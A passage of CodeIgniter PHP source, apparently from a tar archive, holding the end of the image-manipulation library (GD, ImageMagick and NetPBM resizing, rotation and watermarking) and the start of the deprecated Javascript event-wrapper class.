Properties if ( ! $this->get_image_properties($this->source_folder.$this->source_image)) { return FALSE; } /* * Assign the "new" image name/path * * If the user has set a "new_image" name it means * we are making a copy of the source image. If not * it means we are altering the original. We'll * set the destination filename and path accordingly. */ if ($this->new_image === '') { $this->dest_image = $this->source_image; $this->dest_folder = $this->source_folder; } elseif (strpos($this->new_image, '/') === FALSE) { $this->dest_folder = $this->source_folder; $this->dest_image = $this->new_image; } else { if (strpos($this->new_image, '/') === FALSE && strpos($this->new_image, '\\') === FALSE) { $full_dest_path = str_replace('\\', '/', realpath($this->new_image)); } else { $full_dest_path = $this->new_image; } // Is there a file name? if ( ! preg_match('#\.(jpg|jpeg|gif|png)$#i', $full_dest_path)) { $this->dest_folder = $full_dest_path.'/'; $this->dest_image = $this->source_image; } else { $x = explode('/', $full_dest_path); $this->dest_image = end($x); $this->dest_folder = str_replace($this->dest_image, '', $full_dest_path); } } /* Compile the finalized filenames/paths * * We'll create two master strings containing the * full server path to the source image and the * full server path to the destination image. * We'll also split the destination image name * so we can insert the thumbnail marker if needed. */ if ($this->create_thumb === FALSE OR $this->thumb_marker === '') { $this->thumb_marker = ''; } $xp = $this->explode_name($this->dest_image); $filename = $xp['name']; $file_ext = $xp['ext']; $this->full_src_path = $this->source_folder.$this->source_image; $this->full_dst_path = $this->dest_folder.$filename.$this->thumb_marker.$file_ext; /* Should we maintain image proportions? * * When creating thumbs or copies, the target width/height * might not be in correct proportion with the source * image's width/height. We'll recalculate it here. */ if ($this->maintain_ratio === TRUE && ($this->width !== 0 OR $this->height !== 0)) { $this->image_reproportion(); } /* Was a width and height specified? * * If the destination width/height was not submitted we * will use the values from the actual file */ if ($this->width === '') { $this->width = $this->orig_width; } if ($this->height === '') { $this->height = $this->orig_height; } // Set the quality $this->quality = trim(str_replace('%', '', $this->quality)); if ($this->quality === '' OR $this->quality === 0 OR ! ctype_digit($this->quality)) { $this->quality = 90; } // Set the x/y coordinates is_numeric($this->x_axis) OR $this->x_axis = 0; is_numeric($this->y_axis) OR $this->y_axis = 0; // Watermark-related Stuff... if ($this->wm_overlay_path !== '') { $this->wm_overlay_path = str_replace('\\', '/', realpath($this->wm_overlay_path)); } if ($this->wm_shadow_color !== '') { $this->wm_use_drop_shadow = TRUE; } elseif ($this->wm_use_drop_shadow === TRUE && $this->wm_shadow_color === '') { $this->wm_use_drop_shadow = FALSE; } if ($this->wm_font_path !== '') { $this->wm_use_truetype = TRUE; } return TRUE; } // -------------------------------------------------------------------- /** * Image Resize * * This is a wrapper function that chooses the proper * resize function based on the protocol specified * * @return bool */ public function resize() { $protocol = ($this->image_library === 'gd2') ? 'image_process_gd' : 'image_process_'.$this->image_library; return $this->$protocol('resize'); } // -------------------------------------------------------------------- /** * Image Crop * * This is a wrapper function that chooses the proper * cropping function based on the protocol specified * * @return bool */ public function crop() { $protocol = ($this->image_library === 'gd2') ? 'image_process_gd' : 'image_process_'.$this->image_library; return $this->$protocol('crop'); } // -------------------------------------------------------------------- /** * Image Rotate * * This is a wrapper function that chooses the proper * rotation function based on the protocol specified * * @return bool */ public function rotate() { // Allowed rotation values $degs = array(90, 180, 270, 'vrt', 'hor'); if ($this->rotation_angle === '' OR ! in_array($this->rotation_angle, $degs)) { $this->set_error('imglib_rotation_angle_required'); return FALSE; } // Reassign the width and height if ($this->rotation_angle === 90 OR $this->rotation_angle === 270) { $this->width = $this->orig_height; $this->height = $this->orig_width; } else { $this->width = $this->orig_width; $this->height = $this->orig_height; } // Choose resizing function if ($this->image_library === 'imagemagick' OR $this->image_library === 'netpbm') { $protocol = 'image_process_'.$this->image_library; return $this->$protocol('rotate'); } return ($this->rotation_angle === 'hor' OR $this->rotation_angle === 'vrt') ? $this->image_mirror_gd() : $this->image_rotate_gd(); } // -------------------------------------------------------------------- /** * Image Process Using GD/GD2 * * This function will resize or crop * * @param string * @return bool */ public function image_process_gd($action = 'resize') { $v2_override = FALSE; // If the target width/height match the source, AND if the new file name is not equal to the old file name // we'll simply make a copy of the original with the new name... assuming dynamic rendering is off. if ($this->dynamic_output === FALSE && $this->orig_width === $this->width && $this->orig_height === $this->height) { if ($this->source_image !== $this->new_image && @copy($this->full_src_path, $this->full_dst_path)) { chmod($this->full_dst_path, $this->file_permissions); } return TRUE; } // Let's set up our values based on the action if ($action === 'crop') { // Reassign the source width/height if cropping $this->orig_width = $this->width; $this->orig_height = $this->height; // GD 2.0 has a cropping bug so we'll test for it if ($this->gd_version() !== FALSE) { $gd_version = str_replace('0', '', $this->gd_version()); $v2_override = ($gd_version == 2); } } else { // If resizing the x/y axis must be zero $this->x_axis = 0; $this->y_axis = 0; } // Create the image handle if ( ! ($src_img = $this->image_create_gd())) { return FALSE; } /* Create the image * * Old conditional which users report cause problems with shared GD libs who report themselves as "2.0 or greater" * it appears that this is no longer the issue that it was in 2004, so we've removed it, retaining it in the comment * below should that ever prove inaccurate. * * if ($this->image_library === 'gd2' && function_exists('imagecreatetruecolor') && $v2_override === FALSE) */ if ($this->image_library === 'gd2' && function_exists('imagecreatetruecolor')) { $create = 'imagecreatetruecolor'; $copy = 'imagecopyresampled'; } else { $create = 'imagecreate'; $copy = 'imagecopyresized'; } $dst_img = $create($this->width, $this->height); if ($this->image_type === 3) // png we can actually preserve transparency { imagealphablending($dst_img, FALSE); imagesavealpha($dst_img, TRUE); } $copy($dst_img, $src_img, 0, 0, $this->x_axis, $this->y_axis, $this->width, $this->height, $this->orig_width, $this->orig_height); // Show the image if ($this->dynamic_output === TRUE) { $this->image_display_gd($dst_img); } elseif ( ! $this->image_save_gd($dst_img)) // Or save it { return FALSE; } // Kill the file handles imagedestroy($dst_img); imagedestroy($src_img); chmod($this->full_dst_path, $this->file_permissions); return TRUE; } // -------------------------------------------------------------------- /** * Image Process Using ImageMagick * * This function will resize, crop or rotate * * @param string * @return bool */ public function image_process_imagemagick($action = 'resize') { // Do we have a vaild library path? if ($this->library_path === '') { $this->set_error('imglib_libpath_invalid'); return FALSE; } if ( ! preg_match('/convert$/i', $this->library_path)) { $this->library_path = rtrim($this->library_path, '/').'/convert'; } // Execute the command $cmd = $this->library_path.' -quality '.$this->quality; if ($action === 'crop') { $cmd .= ' -crop '.$this->width.'x'.$this->height.'+'.$this->x_axis.'+'.$this->y_axis; } elseif ($action === 'rotate') { $cmd .= ($this->rotation_angle === 'hor' OR $this->rotation_angle === 'vrt') ? ' -flop' : ' -rotate '.$this->rotation_angle; } else // Resize { if($this->maintain_ratio === TRUE) { $cmd .= ' -resize '.$this->width.'x'.$this->height; } else { $cmd .= ' -resize '.$this->width.'x'.$this->height.'\!'; } } $cmd .= escapeshellarg($this->full_src_path).' '.escapeshellarg($this->full_dst_path).' 2>&1'; $retval = 1; // exec() might be disabled if (function_usable('exec')) { @exec($cmd, $output, $retval); } // Did it work? if ($retval > 0) { $this->set_error('imglib_image_process_failed'); return FALSE; } chmod($this->full_dst_path, $this->file_permissions); return TRUE; } // -------------------------------------------------------------------- /** * Image Process Using NetPBM * * This function will resize, crop or rotate * * @param string * @return bool */ public function image_process_netpbm($action = 'resize') { if ($this->library_path === '') { $this->set_error('imglib_libpath_invalid'); return FALSE; } // Build the resizing command switch ($this->image_type) { case 1 : $cmd_in = 'giftopnm'; $cmd_out = 'ppmtogif'; break; case 2 : $cmd_in = 'jpegtopnm'; $cmd_out = 'ppmtojpeg'; break; case 3 : $cmd_in = 'pngtopnm'; $cmd_out = 'ppmtopng'; break; } if ($action === 'crop') { $cmd_inner = 'pnmcut -left '.$this->x_axis.' -top '.$this->y_axis.' -width '.$this->width.' -height '.$this->height; } elseif ($action === 'rotate') { switch ($this->rotation_angle) { case 90: $angle = 'r270'; break; case 180: $angle = 'r180'; break; case 270: $angle = 'r90'; break; case 'vrt': $angle = 'tb'; break; case 'hor': $angle = 'lr'; break; } $cmd_inner = 'pnmflip -'.$angle.' '; } else // Resize { $cmd_inner = 'pnmscale -xysize '.$this->width.' '.$this->height; } $cmd = $this->library_path.$cmd_in.' '.$this->full_src_path.' | '.$cmd_inner.' | '.$cmd_out.' > '.$this->dest_folder.'netpbm.tmp'; $retval = 1; // exec() might be disabled if (function_usable('exec')) { @exec($cmd, $output, $retval); } // Did it work? if ($retval > 0) { $this->set_error('imglib_image_process_failed'); return FALSE; } // With NetPBM we have to create a temporary image. // If you try manipulating the original it fails so // we have to rename the temp file. copy($this->dest_folder.'netpbm.tmp', $this->full_dst_path); unlink($this->dest_folder.'netpbm.tmp'); chmod($this->full_dst_path, $this->file_permissions); return TRUE; } // -------------------------------------------------------------------- /** * Image Rotate Using GD * * @return bool */ public function image_rotate_gd() { // Create the image handle if ( ! ($src_img = $this->image_create_gd())) { return FALSE; } // Set the background color // This won't work with transparent PNG files so we are // going to have to figure out how to determine the color // of the alpha channel in a future release. $white = imagecolorallocate($src_img, 255, 255, 255); // Rotate it! $dst_img = imagerotate($src_img, $this->rotation_angle, $white); // Show the image if ($this->dynamic_output === TRUE) { $this->image_display_gd($dst_img); } elseif ( ! $this->image_save_gd($dst_img)) // ... or save it { return FALSE; } // Kill the file handles imagedestroy($dst_img); imagedestroy($src_img); chmod($this->full_dst_path, $this->file_permissions); return TRUE; } // -------------------------------------------------------------------- /** * Create Mirror Image using GD * * This function will flip horizontal or vertical * * @return bool */ public function image_mirror_gd() { if ( ! $src_img = $this->image_create_gd()) { return FALSE; } $width = $this->orig_width; $height = $this->orig_height; if ($this->rotation_angle === 'hor') { for ($i = 0; $i < $height; $i++) { $left = 0; $right = $width - 1; while ($left < $right) { $cl = imagecolorat($src_img, $left, $i); $cr = imagecolorat($src_img, $right, $i); imagesetpixel($src_img, $left, $i, $cr); imagesetpixel($src_img, $right, $i, $cl); $left++; $right--; } } } else { for ($i = 0; $i < $width; $i++) { $top = 0; $bottom = $height - 1; while ($top < $bottom) { $ct = imagecolorat($src_img, $i, $top); $cb = imagecolorat($src_img, $i, $bottom); imagesetpixel($src_img, $i, $top, $cb); imagesetpixel($src_img, $i, $bottom, $ct); $top++; $bottom--; } } } // Show the image if ($this->dynamic_output === TRUE) { $this->image_display_gd($src_img); } elseif ( ! $this->image_save_gd($src_img)) // ... or save it { return FALSE; } // Kill the file handles imagedestroy($src_img); chmod($this->full_dst_path, $this->file_permissions); return TRUE; } // -------------------------------------------------------------------- /** * Image Watermark * * This is a wrapper function that chooses the type * of watermarking based on the specified preference. * * @return bool */ public function watermark() { return ($this->wm_type === 'overlay') ? $this->overlay_watermark() : $this->text_watermark(); } // -------------------------------------------------------------------- /** * Watermark - Graphic Version * * @return bool */ public function overlay_watermark() { if ( ! function_exists('imagecolortransparent')) { $this->set_error('imglib_gd_required'); return FALSE; } // Fetch source image properties $this->get_image_properties(); // Fetch watermark image properties $props = $this->get_image_properties($this->wm_overlay_path, TRUE); $wm_img_type = $props['image_type']; $wm_width = $props['width']; $wm_height = $props['height']; // Create two image resources $wm_img = $this->image_create_gd($this->wm_overlay_path, $wm_img_type); $src_img = $this->image_create_gd($this->full_src_path); // Reverse the offset if necessary // When the image is positioned at the bottom // we don't want the vertical offset to push it // further down. We want the reverse, so we'll // invert the offset. Same with the horizontal // offset when the image is at the right $this->wm_vrt_alignment = strtoupper($this->wm_vrt_alignment[0]); $this->wm_hor_alignment = strtoupper($this->wm_hor_alignment[0]); if ($this->wm_vrt_alignment === 'B') $this->wm_vrt_offset = $this->wm_vrt_offset * -1; if ($this->wm_hor_alignment === 'R') $this->wm_hor_offset = $this->wm_hor_offset * -1; // Set the base x and y axis values $x_axis = $this->wm_hor_offset + $this->wm_padding; $y_axis = $this->wm_vrt_offset + $this->wm_padding; // Set the vertical position if ($this->wm_vrt_alignment === 'M') { $y_axis += ($this->orig_height / 2) - ($wm_height / 2); } elseif ($this->wm_vrt_alignment === 'B') { $y_axis += $this->orig_height - $wm_height; } // Set the horizontal position if ($this->wm_hor_alignment === 'C') { $x_axis += ($this->orig_width / 2) - ($wm_width / 2); } elseif ($this->wm_hor_alignment === 'R') { $x_axis += $this->orig_width - $wm_width; } // Build the finalized image if ($wm_img_type === 3 && function_exists('imagealphablending')) { @imagealphablending($src_img, TRUE); } // Set RGB values for text and shadow $rgba = imagecolorat($wm_img, $this->wm_x_transp, $this->wm_y_transp); $alpha = ($rgba & 0x7F000000) >> 24; // make a best guess as to whether we're dealing with an image with alpha transparency or no/binary transparency if ($alpha > 0) { // copy the image directly, the image's alpha transparency being the sole determinant of blending imagecopy($src_img, $wm_img, $x_axis, $y_axis, 0, 0, $wm_width, $wm_height); } else { // set our RGB value from above to be transparent and merge the images with the specified opacity imagecolortransparent($wm_img, imagecolorat($wm_img, $this->wm_x_transp, $this->wm_y_transp)); imagecopymerge($src_img, $wm_img, $x_axis, $y_axis, 0, 0, $wm_width, $wm_height, $this->wm_opacity); } // We can preserve transparency for PNG images if ($this->image_type === 3) { imagealphablending($src_img, FALSE); imagesavealpha($src_img, TRUE); } // Output the image if ($this->dynamic_output === TRUE) { $this->image_display_gd($src_img); } elseif ( ! $this->image_save_gd($src_img)) // ... or save it { return FALSE; } imagedestroy($src_img); imagedestroy($wm_img); return TRUE; } // -------------------------------------------------------------------- /** * Watermark - Text Version * * @return bool */ public function text_watermark() { if ( ! ($src_img = $this->image_create_gd())) { return FALSE; } if ($this->wm_use_truetype === TRUE && ! file_exists($this->wm_font_path)) { $this->set_error('imglib_missing_font'); return FALSE; } // Fetch source image properties $this->get_image_properties(); // Reverse the vertical offset // When the image is positioned at the bottom // we don't want the vertical offset to push it // further down. We want the reverse, so we'll // invert the offset. Note: The horizontal // offset flips itself automatically if ($this->wm_vrt_alignment === 'B') { $this->wm_vrt_offset = $this->wm_vrt_offset * -1; } if ($this->wm_hor_alignment === 'R') { $this->wm_hor_offset = $this->wm_hor_offset * -1; } // Set font width and height // These are calculated differently depending on // whether we are using the true type font or not if ($this->wm_use_truetype === TRUE) { if (empty($this->wm_font_size)) { $this->wm_font_size = 17; } if (function_exists('imagettfbbox')) { $temp = imagettfbbox($this->wm_font_size, 0, $this->wm_font_path, $this->wm_text); $temp = $temp[2] - $temp[0]; $fontwidth = $temp / strlen($this->wm_text); } else { $fontwidth = $this->wm_font_size - ($this->wm_font_size / 4); } $fontheight = $this->wm_font_size; $this->wm_vrt_offset += $this->wm_font_size; } else { $fontwidth = imagefontwidth($this->wm_font_size); $fontheight = imagefontheight($this->wm_font_size); } // Set base X and Y axis values $x_axis = $this->wm_hor_offset + $this->wm_padding; $y_axis = $this->wm_vrt_offset + $this->wm_padding; if ($this->wm_use_drop_shadow === FALSE) { $this->wm_shadow_distance = 0; } $this->wm_vrt_alignment = strtoupper($this->wm_vrt_alignment[0]); $this->wm_hor_alignment = strtoupper($this->wm_hor_alignment[0]); // Set vertical alignment if ($this->wm_vrt_alignment === 'M') { $y_axis += ($this->orig_height / 2) + ($fontheight / 2); } elseif ($this->wm_vrt_alignment === 'B') { $y_axis += $this->orig_height - $fontheight - $this->wm_shadow_distance - ($fontheight / 2); } // Set horizontal alignment if ($this->wm_hor_alignment === 'R') { $x_axis += $this->orig_width - ($fontwidth * strlen($this->wm_text)) - $this->wm_shadow_distance; } elseif ($this->wm_hor_alignment === 'C') { $x_axis += floor(($this->orig_width - ($fontwidth * strlen($this->wm_text))) / 2); } if ($this->wm_use_drop_shadow) { // Offset from text $x_shad = $x_axis + $this->wm_shadow_distance; $y_shad = $y_axis + $this->wm_shadow_distance; /* Set RGB values for shadow * * First character is #, so we don't really need it. * Get the rest of the string and split it into 2-length * hex values: */ $drp_color = str_split(substr($this->wm_shadow_color, 1, 6), 2); $drp_color = imagecolorclosest($src_img, hexdec($drp_color[0]), hexdec($drp_color[1]), hexdec($drp_color[2])); // Add the shadow to the source image if ($this->wm_use_truetype) { imagettftext($src_img, $this->wm_font_size, 0, $x_shad, $y_shad, $drp_color, $this->wm_font_path, $this->wm_text); } else { imagestring($src_img, $this->wm_font_size, $x_shad, $y_shad, $this->wm_text, $drp_color); } } /* Set RGB values for text * * First character is #, so we don't really need it. * Get the rest of the string and split it into 2-length * hex values: */ $txt_color = str_split(substr($this->wm_font_color, 1, 6), 2); $txt_color = imagecolorclosest($src_img, hexdec($txt_color[0]), hexdec($txt_color[1]), hexdec($txt_color[2])); // Add the text to the source image if ($this->wm_use_truetype) { imagettftext($src_img, $this->wm_font_size, 0, $x_axis, $y_axis, $txt_color, $this->wm_font_path, $this->wm_text); } else { imagestring($src_img, $this->wm_font_size, $x_axis, $y_axis, $this->wm_text, $txt_color); } // We can preserve transparency for PNG images if ($this->image_type === 3) { imagealphablending($src_img, FALSE); imagesavealpha($src_img, TRUE); } // Output the final image if ($this->dynamic_output === TRUE) { $this->image_display_gd($src_img); } else { $this->image_save_gd($src_img); } imagedestroy($src_img); return TRUE; } // -------------------------------------------------------------------- /** * Create Image - GD * * This simply creates an image resource handle * based on the type of image being processed * * @param string * @param string * @return resource */ public function image_create_gd($path = '', $image_type = '') { if ($path === '') { $path = $this->full_src_path; } if ($image_type === '') { $image_type = $this->image_type; } switch ($image_type) { case 1: if ( ! function_exists('imagecreatefromgif')) { $this->set_error(array('imglib_unsupported_imagecreate', 'imglib_gif_not_supported')); return FALSE; } return imagecreatefromgif($path); case 2: if ( ! function_exists('imagecreatefromjpeg')) { $this->set_error(array('imglib_unsupported_imagecreate', 'imglib_jpg_not_supported')); return FALSE; } return imagecreatefromjpeg($path); case 3: if ( ! function_exists('imagecreatefrompng')) { $this->set_error(array('imglib_unsupported_imagecreate', 'imglib_png_not_supported')); return FALSE; } return imagecreatefrompng($path); default: $this->set_error(array('imglib_unsupported_imagecreate')); return FALSE; } } // -------------------------------------------------------------------- /** * Write image file to disk - GD * * Takes an image resource as input and writes the file * to the specified destination * * @param resource * @return bool */ public function image_save_gd($resource) { switch ($this->image_type) { case 1: if ( ! function_exists('imagegif')) { $this->set_error(array('imglib_unsupported_imagecreate', 'imglib_gif_not_supported')); return FALSE; } if ( ! @imagegif($resource, $this->full_dst_path)) { $this->set_error('imglib_save_failed'); return FALSE; } break; case 2: if ( ! function_exists('imagejpeg')) { $this->set_error(array('imglib_unsupported_imagecreate', 'imglib_jpg_not_supported')); return FALSE; } if ( ! @imagejpeg($resource, $this->full_dst_path, $this->quality)) { $this->set_error('imglib_save_failed'); return FALSE; } break; case 3: if ( ! function_exists('imagepng')) { $this->set_error(array('imglib_unsupported_imagecreate', 'imglib_png_not_supported')); return FALSE; } if ( ! @imagepng($resource, $this->full_dst_path)) { $this->set_error('imglib_save_failed'); return FALSE; } break; default: $this->set_error(array('imglib_unsupported_imagecreate')); return FALSE; break; } return TRUE; } // -------------------------------------------------------------------- /** * Dynamically outputs an image * * @param resource * @return void */ public function image_display_gd($resource) { header('Content-Disposition: filename='.$this->source_image.';'); header('Content-Type: '.$this->mime_type); header('Content-Transfer-Encoding: binary'); header('Last-Modified: '.gmdate('D, d M Y H:i:s', time()).' GMT'); switch ($this->image_type) { case 1 : imagegif($resource); break; case 2 : imagejpeg($resource, NULL, $this->quality); break; case 3 : imagepng($resource); break; default: echo 'Unable to display the image'; break; } } // -------------------------------------------------------------------- /** * Re-proportion Image Width/Height * * When creating thumbs, the desired width/height * can end up warping the image due to an incorrect * ratio between the full-sized image and the thumb. * * This function lets us re-proportion the width/height * if users choose to maintain the aspect ratio when resizing. * * @return void */ public function image_reproportion() { if (($this->width === 0 && $this->height === 0) OR $this->orig_width === 0 OR $this->orig_height === 0 OR ( ! ctype_digit((string) $this->width) && ! ctype_digit((string) $this->height)) OR ! ctype_digit((string) $this->orig_width) OR ! ctype_digit((string) $this->orig_height)) { return; } // Sanitize $this->width = (int) $this->width; $this->height = (int) $this->height; if ($this->master_dim !== 'width' && $this->master_dim !== 'height') { if ($this->width > 0 && $this->height > 0) { $this->master_dim = ((($this->orig_height/$this->orig_width) - ($this->height/$this->width)) < 0) ? 'width' : 'height'; } else { $this->master_dim = ($this->height === 0) ? 'width' : 'height'; } } elseif (($this->master_dim === 'width' && $this->width === 0) OR ($this->master_dim === 'height' && $this->height === 0)) { return; } if ($this->master_dim === 'width') { $this->height = (int) ceil($this->width*$this->orig_height/$this->orig_width); } else { $this->width = (int) ceil($this->orig_width*$this->height/$this->orig_height); } } // -------------------------------------------------------------------- /** * Get image properties * * A helper function that gets info about the file * * @param string * @param bool * @return mixed */ public function get_image_properties($path = '', $return = FALSE) { // For now we require GD but we should // find a way to determine this using IM or NetPBM if ($path === '') { $path = $this->full_src_path; } if ( ! file_exists($path)) { $this->set_error('imglib_invalid_path'); return FALSE; } $vals = getimagesize($path); $types = array(1 => 'gif', 2 => 'jpeg', 3 => 'png'); $mime = (isset($types[$vals[2]])) ? 'image/'.$types[$vals[2]] : 'image/jpg'; if ($return === TRUE) { return array( 'width' => $vals[0], 'height' => $vals[1], 'image_type' => $vals[2], 'size_str' => $vals[3], 'mime_type' => $mime ); } $this->orig_width = $vals[0]; $this->orig_height = $vals[1]; $this->image_type = $vals[2]; $this->size_str = $vals[3]; $this->mime_type = $mime; return TRUE; } // -------------------------------------------------------------------- /** * Size calculator * * This function takes a known width x height and * recalculates it to a new size. Only one * new variable needs to be known * * $props = array( * 'width' => $width, * 'height' => $height, * 'new_width' => 40, * 'new_height' => '' * ); * * @param array * @return array */ public function size_calculator($vals) { if ( ! is_array($vals)) { return; } $allowed = array('new_width', 'new_height', 'width', 'height'); foreach ($allowed as $item) { if (empty($vals[$item])) { $vals[$item] = 0; } } if ($vals['width'] === 0 OR $vals['height'] === 0) { return $vals; } if ($vals['new_width'] === 0) { $vals['new_width'] = ceil($vals['width']*$vals['new_height']/$vals['height']); } elseif ($vals['new_height'] === 0) { $vals['new_height'] = ceil($vals['new_width']*$vals['height']/$vals['width']); } return $vals; } // -------------------------------------------------------------------- /** * Explode source_image * * This is a helper function that extracts the extension * from the source_image. This function lets us deal with * source_images with multiple periods, like: my.cool.jpg * It returns an associative array with two elements: * $array['ext'] = '.jpg'; * $array['name'] = 'my.cool'; * * @param array * @return array */ public function explode_name($source_image) { $ext = strrchr($source_image, '.'); $name = ($ext === FALSE) ? $source_image : substr($source_image, 0, -strlen($ext)); return array('ext' => $ext, 'name' => $name); } // -------------------------------------------------------------------- /** * Is GD Installed? * * @return bool */ public function gd_loaded() { if ( ! extension_loaded('gd')) { /* As it is stated in the PHP manual, dl() is not always available * and even if so - it could generate an E_WARNING message on failure */ return (function_exists('dl') && @dl('gd.so')); } return TRUE; } // -------------------------------------------------------------------- /** * Get GD version * * @return mixed */ public function gd_version() { if (function_exists('gd_info')) { $gd_version = @gd_info(); return preg_replace('/\D/', '', $gd_version['GD Version']); } return FALSE; } // -------------------------------------------------------------------- /** * Set error message * * @param string * @return void */ public function set_error($msg) { $CI =& get_instance(); $CI->lang->load('imglib'); if (is_array($msg)) { foreach ($msg as $val) { $msg = ($CI->lang->line($val) === FALSE) ? $val : $CI->lang->line($val); $this->error_msg[] = $msg; log_message('error', $msg); } } else { $msg = ($CI->lang->line($msg) === FALSE) ? $msg : $CI->lang->line($msg); $this->error_msg[] = $msg; log_message('error', $msg); } } // -------------------------------------------------------------------- /** * Show error messages * * @param string * @param string * @return string */ public function display_errors($open = '<p>', $close = '</p>') { return (count($this->error_msg) > 0) ? $open.implode($close.$open, $this->error_msg).$close : ''; } } Javascript.php 0000775 00000050677 15060054572 0007413 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Javascript Class * * @package CodeIgniter * @subpackage Libraries * @category Javascript * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/javascript.html * @deprecated 3.0.0 This was never a good idea in the first place. */ class CI_Javascript { /** * JavaScript location * * @var string */ protected $_javascript_location = 'js'; // -------------------------------------------------------------------- /** * Constructor * * @param array $params * @return void */ public function __construct($params = array()) { $defaults = array('js_library_driver' => 'jquery', 'autoload' => TRUE); foreach ($defaults as $key => $val) { if (isset($params[$key]) && $params[$key] !== '') { $defaults[$key] = $params[$key]; } } extract($defaults); $this->CI =& get_instance(); // load the requested js library $this->CI->load->library('Javascript/'.$js_library_driver, array('autoload' => $autoload)); // make js to refer to current library $this->js =& $this->CI->$js_library_driver; log_message('info', 'Javascript Class Initialized and loaded. Driver used: '.$js_library_driver); } // -------------------------------------------------------------------- // Event Code // -------------------------------------------------------------------- /** * Blur * * Outputs a javascript library blur event * * @param string The element to attach the event to * @param string The code to execute * @return string */ public function blur($element = 'this', $js = '') { return $this->js->_blur($element, $js); } // -------------------------------------------------------------------- /** * Change * * Outputs a javascript library change event * * @param string The element to attach the event to * @param string The code to execute * @return string */ public function change($element = 'this', $js = '') { return $this->js->_change($element, $js); } // -------------------------------------------------------------------- /** * Click * * Outputs a javascript library click event * * @param string The element to attach the event to * @param string The code to execute * @param bool whether or not to return false * @return string */ public function click($element = 'this', $js = '', $ret_false = TRUE) { return $this->js->_click($element, $js, $ret_false); } // -------------------------------------------------------------------- /** * Double Click * * Outputs a javascript library dblclick event * * @param string The element to attach the event to * @param string The code to execute * @return string */ public function dblclick($element = 'this', $js = '') { return $this->js->_dblclick($element, $js); } // -------------------------------------------------------------------- /** * Error * * Outputs a javascript library error event * * @param string The element to attach the event to * @param string The code to execute * @return string */ public function error($element = 'this', $js = '') { return $this->js->_error($element, $js); } // -------------------------------------------------------------------- /** * Focus * * Outputs a javascript library focus event * * @param string The element to attach the event to * @param string The code to execute * @return string */ public function focus($element = 'this', $js = '') { return $this->js->_focus($element, $js); } // -------------------------------------------------------------------- /** * Hover * * Outputs a javascript library hover event * * @param string - element * @param string - Javascript code for mouse over * @param string - Javascript code for mouse out * @return string */ public function hover($element = 'this', $over = '', $out = '') { return $this->js->_hover($element, $over, $out); } // -------------------------------------------------------------------- /** * Keydown * * Outputs a javascript library keydown event * * @param string The element to attach the event to * @param string The code to execute * @return string */ public function keydown($element = 'this', $js = '') { return $this->js->_keydown($element, $js); } // -------------------------------------------------------------------- /** * Keyup * * Outputs a javascript library keydown event * * @param string The element to attach the event to * @param string The code to execute * @return string */ public function keyup($element = 'this', $js = '') { return $this->js->_keyup($element, $js); } // -------------------------------------------------------------------- /** * Load * * Outputs a javascript library load event * * @param string The element to attach the event to * @param string The code to execute * @return string */ public function load($element = 'this', $js = '') { return $this->js->_load($element, $js); } // -------------------------------------------------------------------- /** * Mousedown * * Outputs a javascript library mousedown event * * @param string The element to attach the event to * @param string The code to execute * @return string */ public function mousedown($element = 'this', $js = '') { return $this->js->_mousedown($element, $js); } // -------------------------------------------------------------------- /** * Mouse Out * * Outputs a javascript library mouseout event * * @param string The element to attach the event to * @param string The code to execute * @return string */ public function mouseout($element = 'this', $js = '') { return $this->js->_mouseout($element, $js); } // -------------------------------------------------------------------- /** * Mouse Over * * Outputs a javascript library mouseover event * * @param string The element to attach the event to * @param string The code to execute * @return string */ public function mouseover($element = 'this', $js = '') { return $this->js->_mouseover($element, $js); } // -------------------------------------------------------------------- /** * Mouseup * * Outputs a javascript library mouseup event * * @param string The element to attach the event to * @param string The code to execute * @return string */ public function mouseup($element = 'this', $js = '') { return $this->js->_mouseup($element, $js); } // -------------------------------------------------------------------- /** * Output * * Outputs the called javascript to the screen * * @param string The code to output * @return string */ public function output($js) { return $this->js->_output($js); } // -------------------------------------------------------------------- /** * Ready * * Outputs a javascript library mouseup event * * @param string $js Code to execute * @return string */ public function ready($js) { return $this->js->_document_ready($js); } // -------------------------------------------------------------------- /** * Resize * * Outputs a javascript library resize event * * @param string The element to attach the event to * @param string The code to execute * @return string */ public function resize($element = 'this', $js = '') { return $this->js->_resize($element, $js); } // -------------------------------------------------------------------- /** * Scroll * * Outputs a javascript library scroll event * * @param string The element to attach the event to * @param string The code to execute * @return string */ public function scroll($element = 'this', $js = '') { return $this->js->_scroll($element, $js); } // -------------------------------------------------------------------- /** * Unload * * Outputs a javascript library unload event * * @param string The element to attach the event to * @param string The code to execute * @return string */ public function unload($element = 'this', $js = '') { return $this->js->_unload($element, $js); } // -------------------------------------------------------------------- // Effects // -------------------------------------------------------------------- /** * Add Class * * Outputs a javascript library addClass event * * @param string - element * @param string - Class to add * @return string */ public function addClass($element = 'this', $class = '') { return $this->js->_addClass($element, $class); } // -------------------------------------------------------------------- /** * Animate * * Outputs a javascript library animate event * * @param string $element = 'this' * @param array $params = array() * @param mixed $speed 'slow', 'normal', 'fast', or time in milliseconds * @param string $extra * @return string */ public function animate($element = 